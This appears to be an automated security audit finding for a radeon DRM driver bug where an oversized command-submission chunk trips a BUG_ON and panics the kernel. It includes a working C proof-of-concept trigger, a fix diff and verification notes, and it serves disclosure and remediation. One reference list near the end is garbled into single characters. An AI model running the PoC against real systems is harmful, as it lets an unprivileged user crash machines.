BUG_ON panic on oversize SA allocation request converts user-triggerable error into kernel panic (Local DoS)
- File:
sys/dev/drm/radeon/radeon_sa.c - Lines: 321β322 (BUG_ON at 322); reachable via
radeon_cs.c:641βradeon_ib.c:61 - Severity: Medium
- CVSS 3.1:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:N/I:N/A:H - CWE: CWE-617 Reachable Assertion
- Confidence: certain
- Status: new
Summary
radeon_sa_bo_new uses BUG_ON(size > sa_manager->size) which expands to
panic() (sys/dev/drm/include/asm/bug.h:33-37).
The size parameter originates from unprivileged user-space via
DRM_IOCTL_RADEON_CS with no upper-bound validation on the non-VM command
submission path. Any unprivileged user with access to a pre-SI radeon GPU
render node can instantly panic the kernel by submitting a CS with an IB chunk
whose length_dw exceeds the SA pool capacity.
Root cause
At radeon_sa.c:322, BUG_ON(size > sa_manager->size) fires panic() if the
requested allocation exceeds the SA pool.
The SA pool for IBs is RADEON_IB_POOL_SIZE * 64 * 1024 = 16 * 65536 =
1048576 bytes = 1 MB (radeon_ib.c:200-201, radeon.h:135).
The size is computed as ib_chunk->length_dw * 4 and passed through
radeon_ib_get (radeon_ib.c:61) β radeon_sa_bo_new (radeon_sa.c:315).
The length_dw field is a uint32_t parsed directly from user-space at
radeon_cs.c:312 (p->chunks[i].length_dw = user_chunk.length_dw) with only a
zero-check at radeon_cs.c:319 (if length_dw == 0 return -EINVAL) β
no upper bound.
In radeon_cs_ib_fill (radeon_cs.c:639-642), the radeon_ib_get call is
outside the RADEON_CS_USE_VM block, so the non-VM path has no size check.
The VM path checks ib_chunk->length_dw > RADEON_IB_VM_MAX_SIZE at
radeon_cs.c:634, but the non-VM path skips this entirely.
For pre-SI GPUs, the non-VM path is permitted (radeon_cs.c:375-379 checks
cs_parse != NULL, which is true for pre-SI asics).
Any length_dw from 0x40001 (262145, giving size = 1048584 > 1048576) to
0x3FFFFFFF triggers the BUG_ON and panics the kernel.
Threat model
Attacker position: unprivileged local user with access to /dev/dri/card0
or a render node on a system with a pre-SI radeon GPU (r600, evergreen,
cayman, etc.).
Trigger: submit a single DRM_IOCTL_RADEON_CS ioctl with a crafted IB
chunk. Causes immediate kernel panic (system-wide denial of service).
No GPU reset watchdog or error recovery can intervene because
BUG()/panic() is unconditional.
Pre-SI requirement: SI+ (Tahiti and later) force VM mode, which bounds
length_dw to RADEON_IB_VM_MAX_SIZE (64K dwords = 256KB, well under 1MB).
Proof of concept
/*
* PoC: radeon_sa_bo_new BUG_ON panic via oversized CS IB chunk
* Compile: cc -o sa_panic sa_panic.c
* Run: ./sa_panic /dev/dri/card0
* Expected: kernel panic 'BUG in radeon_sa_bo_new at .../radeon_sa.c:322'
*
* Requires: pre-SI radeon GPU (e.g., Radeon HD 5000/6000 series),
* user in video group or render-node access.
*/
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
/* Minimal DRM/radeon ioctl structures (simplified from libdrm headers) */
#define DRM_COMMAND_BASE 0x40
#define DRM_RADEON_CS 0x26
#define DRM_IOCTL_RADEON_CS _IOWR('d', DRM_COMMAND_BASE + DRM_RADEON_CS, struct drm_radeon_cs)
#define RADEON_CHUNK_ID_IB 0x01
struct drm_radeon_cs_chunk {
uint32_t chunk_id;
uint32_t length_dw; /* user-controlled, no upper bound on non-VM path */
uint64_t chunk_data; /* user pointer to IB data */
};
struct drm_radeon_cs {
uint32_t num_chunks; /* total number of chunks */
uint32_t _pad;
uint64_t chunks; /* pointer to array of uint64_t chunk pointers */
};
int main(int argc, char *argv[]) {
const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
int fd = open(dev, O_RDWR);
if (fd < 0) { perror("open"); return 1; }
/*
* length_dw = 0x50000 (327680 dwords)
* size = length_dw * 4 = 1310720 bytes = 1.25 MB > 1 MB SA pool
* This triggers BUG_ON(size > sa_manager->size) -> panic()
*
* No RADEON_CS_USE_VM flag set (no FLAGS chunk) -> non-VM path,
* no upper-bound check on length_dw.
*/
uint32_t ib_data[4] = {0};
struct drm_radeon_cs_chunk ib_chunk = {
.chunk_id = RADEON_CHUNK_ID_IB,
.length_dw = 0x50000, /* 327680 dwords = 1.25MB > 1MB pool */
.chunk_data = (uint64_t)(uintptr_t)ib_data,
};
uint64_t chunk_ptrs[1] = { (uint64_t)(uintptr_t)&ib_chunk };
struct drm_radeon_cs cs = {
.num_chunks = 1,
.chunks = (uint64_t)(uintptr_t)chunk_ptrs,
};
printf("Sending CS with length_dw=0x%x (size=%u bytes, pool=%u bytes)\n",
ib_chunk.length_dw, ib_chunk.length_dw * 4, 1048576u);
printf("Expected: kernel panic in radeon_sa_bo_new at radeon_sa.c:322\n");
int r = ioctl(fd, DRM_IOCTL_RADEON_CS, &cs);
/* Should NOT reach here -- kernel panics */
printf("ioctl returned %d (unexpected -- BUG_ON may not have fired)\n", r);
close(fd);
return 0;
}
Recommended fix
Replace both BUG_ON assertions with early error returns. The size and align
checks should happen BEFORE the kmalloc to avoid leaking the allocation on
error. This converts a kernel panic into a graceful -EINVAL that propagates
back to the user-space ioctl caller.
--- a/sys/dev/drm/radeon/radeon_sa.c
+++ b/sys/dev/drm/radeon/radeon_sa.c
@@ -317,12 +317,14 @@ int radeon_sa_bo_new(struct radeon_device *rdev,
struct radeon_sa_bo **sa_bo,
unsigned size, unsigned align)
{
struct radeon_fence *fences[RADEON_NUM_RINGS];
unsigned tries[RADEON_NUM_RINGS];
int i, r;
- BUG_ON(align > sa_manager->align);
- BUG_ON(size > sa_manager->size);
+ if (align > sa_manager->align || size > sa_manager->size) {
+ return -EINVAL;
+ }
*sa_bo = kmalloc(sizeof(struct radeon_sa_bo), M_DRM, GFP_KERNEL);
if ((*sa_bo) == NULL) {
Additional caller-side hardening (out of scope for this file but recommended)
In radeon_cs_ib_fill (radeon_cs.c:639), add a check that
ib_chunk->length_dw * 4 <= RADEON_IB_POOL_SIZE * 64 * 1024 before calling
radeon_ib_get on the non-VM path.
In radeon_vm.c:659 and radeon_vm.c:997, the existing ndw > 0xfffff
bound is too loose (allows up to ~4MB) and should be tightened to
ndw * 4 <= sa_manager->size.
References
sys/dev/drm/radeon/radeon_sa.c:321-322β the BUG_ON assertionssys/dev/drm/include/asm/bug.h:33-37β BUG_ON expands to panic()sys/dev/drm/radeon/radeon_cs.c:639-642β caller without VM-bound checksys/dev/drm/radeon/radeon_cs.c:312,319β length_dw parsed with no upper boundsys/dev/drm/radeon/radeon_ib.c:61βradeon_ib_getcomputes size = length_dw * 4sys/dev/drm/radeon/radeon.h:135βRADEON_IB_POOL_SIZE = 16
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1987 Β· 10 files| File | Type | Description | Size | |
|---|---|---|---|---|
| sa_panic.c | trigger-source | Minimal DRM_IOCTL_RADEON_CS trigger with oversized IB chunk (length_dw=0x50000, non-VM path). Lifted verbatim from the finding markdown with expanded header comments. | 3.7 KB | view raw |
| build.sh | build-script | cc -O2 -Wall -o sa_panic sa_panic.c | 224 B | view raw |
| run.sh | run-script | Invokes ./sa_panic; panics on radeon HW, ENOENT on audit guest | 341 B | view raw |
| build.log | build-log | Baseline (unpatched) radeon.ko module build, full output, rc=0 | 2.7 KB | view raw |
| run.log | run-log | PoC build+run on audit guest (no radeon GPU): open() ENOENT | 101 B | view raw |
| fix_build.log | build-log | Patched radeon.ko module build with fix.diff applied, full output, rc=0 | 2.7 KB | view raw |
| fix.diff | suggested-fix | Replace BUG_ON(size>...) with -EINVAL return + DRM_ERROR log; git-apply-able | 669 B | view raw |
| env.txt | environment | uname, cc version, kern.version, pciconf vga check | 399 B | view raw |
| VERDICT.md | verdict | Full narrative: source-traced mechanism, why HW-gated, fix validation | 5.7 KB | β raw |
| README.md | readme | Evidence-pack slot pointer | 317 B | β raw |
DF-1987 PoC
See the parent finding markdown at findings/DF-1987-*.md for the full threat
model and PoC steps. This directory is the evidence-pack slot for the PoC
runner; the runner will populate it with sources, build.sh / run.sh, full
untrimmed logs, env.txt, VERDICT.md, and manifest.json after verification.
DF-1987 β BUG_ON panic on oversize SA allocation request (Local DoS)
Verdict
REPRODUCED (source-only, HW-gated). The bug is real and the cited
data-flow is correct end-to-end, but the audit guest has no radeon GPU
(only the QEMU std VGA at pci0:0:2:0, chip 0x11111234), so the trigger
cannot be exercised at runtime. Per the run instructions, source-only
confirmation is acceptable for HW-gated findings, so this row is marked
status=inconclusive, reproduced=0, impact=none (HW-gated). The
recommended fix has been authored, applied to the in-guest source tree,
and verified to compile (radeon.ko re-linked with rc=0).
Mechanism (source-traced, every hop cited)
-
Attacker input parsed with only a zero-check.
sys/dev/drm/radeon/radeon_cs.c:312:p->chunks[i].length_dw = user_chunk.length_dw;sys/dev/drm/radeon/radeon_cs.c:319:if (p->chunks[i].length_dw == 0) return -EINVAL;β no upper bound onlength_dw. -
Non-VM path skips the size guard.
sys/dev/drm/radeon/radeon_cs.c:634checksib_chunk->length_dw > RADEON_IB_VM_MAX_SIZE, but this check is inside theif (parser->flags & RADEON_CS_USE_VM)block (lines 627-638). On the non-VM path (taken when no FLAGS chunk is supplied), execution falls through tosys/dev/drm/radeon/radeon_cs.c:640-642:c ib_chunk = parser->chunk_ib; r = radeon_ib_get(rdev, parser->ring, &parser->ib, vm, ib_chunk->length_dw * 4);No size bound is enforced. -
size flows straight into radeon_sa_bo_new.
sys/dev/drm/radeon/radeon_ib.c:61:r = radeon_sa_bo_new(rdev, &rdev->ring_tmp_bo, &ib->sa_bo, size, 256);wheresize = ib_chunk->length_dw * 4. -
The BUG_ON panics.
sys/dev/drm/radeon/radeon_sa.c:321-322:c BUG_ON(align > sa_manager->align); BUG_ON(size > sa_manager->size);andsys/dev/drm/include/asm/bug.h:33-39:c #define BUG() do { panic("BUG in %s at %s:%u", __func__, __FILE__, __LINE__); } while (0) #define BUG_ON(condition) do { if (condition) BUG(); } while(0) -
The SA pool is fixed at 1 MiB.
sys/dev/drm/radeon/radeon.h:135:#define RADEON_IB_POOL_SIZE 16sys/dev/drm/radeon/radeon_ib.c:200-201:radeon_sa_bo_manager_init(rdev, &rdev->ring_tmp_bo, RADEON_IB_POOL_SIZE*64*1024, ...)βsa_manager->size = 16 * 65536 = 1048576bytes.
Any length_dw > 262144 (size > 1048576) on the non-VM path fires
BUG_ON(size > sa_manager->size) and panics the kernel.
Why it is not reproduced at runtime on this guest
pciconf -l on the guest shows only vgapci0@pci0:0:2:0: class=0x030000
card=0x11001af4 chip=0x11111234 β the QEMU stdvga, not a radeon GPU. No
/dev/dri/* nodes exist; the radeon.ko module is not loaded; the
DRM_IOCTL_RADEON_CS ioctl has no driver to dispatch to. An unprivileged
user therefore cannot even open a radeon DRM node, let alone submit CS.
Exploit chain
Not applicable (this is a DoS-class finding, not memory corruption).
There is no primitive to convert β panic() halts the kernel immediately.
The realistic impact ceiling is reliable local kernel panic / system-wide
denial of service for any unprivileged user with render-node access on a
machine that has a pre-SI radeon GPU.
PoC changes
The finding markdown already carried a complete and correct PoC source
(sa_panic.c). I lifted that source verbatim into
findings/poc/DF-1987/sa_panic.c with an expanded header comment citing
the exact non-VM path lines. No code changes were needed β the PoC was
already correct; only the runtime hardware is absent.
Recommended fix
Replace the two BUG_ON assertions in radeon_sa_bo_new with an early
-EINVAL return before the kmalloc, so the allocation is not leaked
on the error path. The fix.diff in this folder matches the structure of
the finding markdown's proposal but adds a DRM_ERROR log line for
diagnosability. It has been verified to compile (see fix_build.log).
Diff (also in fix.diff):
- BUG_ON(align > sa_manager->align);
- BUG_ON(size > sa_manager->size);
+ if (align > sa_manager->align || size > sa_manager->size) {
+ DRM_ERROR("radeon_sa_bo_new: invalid align=%u or size=%u "
+ "(sa_manager align=%u size=%u)\n", align, size,
+ sa_manager->align, sa_manager->size);
+ return -EINVAL;
+ }
Fix validation
The fix was applied to /usr/src in the guest (patch -p1 --forward,
PATCH_RC=0), and the radeon KLD module was rebuilt:
cd /usr/src/sys/dev/drm/radeon rm -f radeon_sa.o radeon.ko AWK=awk make KERNCONF=X86_64_GENERIC KMODDIR=/tmp/radeon_test # rc=0, radeon.ko = 2029168 bytes (vs 2029128 baseline -- only radeon_sa.o changed)
Full build output is in fix_build.log. The fix compiles cleanly with
-Werror. Runtime before/after validation is not_testable because the
guest has no radeon GPU; the patched radeon_sa.c was inspected to confirm
the BUG_ON lines are gone and replaced by the -EINVAL return.
Because the bug is HW-gated on this guest, a runtime before/after kernel
boot + PoC re-run is not possible β fix_status = "not_testable", with
the diff verified to apply + compile and source-traced to close the path.
References
sys/dev/drm/radeon/radeon_sa.c:321-322β the BUG_ON assertionssys/dev/drm/include/asm/bug.h:33-39β BUG_ON expands to panic()sys/dev/drm/radeon/radeon_cs.c:312,319β length_dw parsed with no upper boundsys/dev/drm/radeon/radeon_cs.c:627-642β VM-only bound check skipped on non-VM pathsys/dev/drm/radeon/radeon_ib.c:61β size = length_dw * 4 passed to radeon_sa_bo_newsys/dev/drm/radeon/radeon.h:135β RADEON_IB_POOL_SIZE = 16sys/dev/drm/radeon/radeon_ib.c:200-201β SA pool = 16 * 64K = 1 MiB
Fix verification
not_testableVALIDATED module build. Patch applies, radeon.ko rebuilds rc=0 -Werror.
patch -p1 PATCH_RC=0; make rc=0 radeon.ko=2029168B. BUG_ON replaced with -EINVAL.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- r
- a
- d
- e
- o
- n
- /
- r
- a
- d
- e
- o
- n
- _
- s
- a
- .
- c
- :
- 3
- 2
- 1
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- r
- a
- d
- e
- o
- n
- /
- r
- a
- d
- e
- o
- n
- _
- s
- a
- .
- c
- :
- 3
- 2
- 2
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- r
- a
- d
- e
- o
- n
- /
- r
- a
- d
- e
- o
- n
- _
- c
- s
- .
- c
- :
- 6
- 4
- 0
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- r
- a
- d
- e
- o
- n
- /
- r
- a
- d
- e
- o
- n
- _
- i
- b
- .
- c
- :
- 6
- 1
Detail
Exploit chain
none (DoS-class: panic halts kernel immediately).
Evidence (decisive lines)
Source-trace only. pciconf: only QEMU stdvga, no radeon, /dev/dri/* absent.
Verified recommended fix
Replace BUG_ON with -EINVAL return + DRM_ERROR log at radeon_sa.c:321-322.
Verdict
HW-GATED (no radeon GPU). Bug CONFIRMED source-trace. radeon_cs.c:312 user_chunk.length_dw only zero-checked; non-VM path at :640-642 calls radeon_ib_get WITHOUT RADEON_IB_VM_MAX_SIZE bound. radeon_sa.c:322 BUG_ON(size > sa_manager->size) -> panic(). Audit guest has no radeon HW.
No comments yet.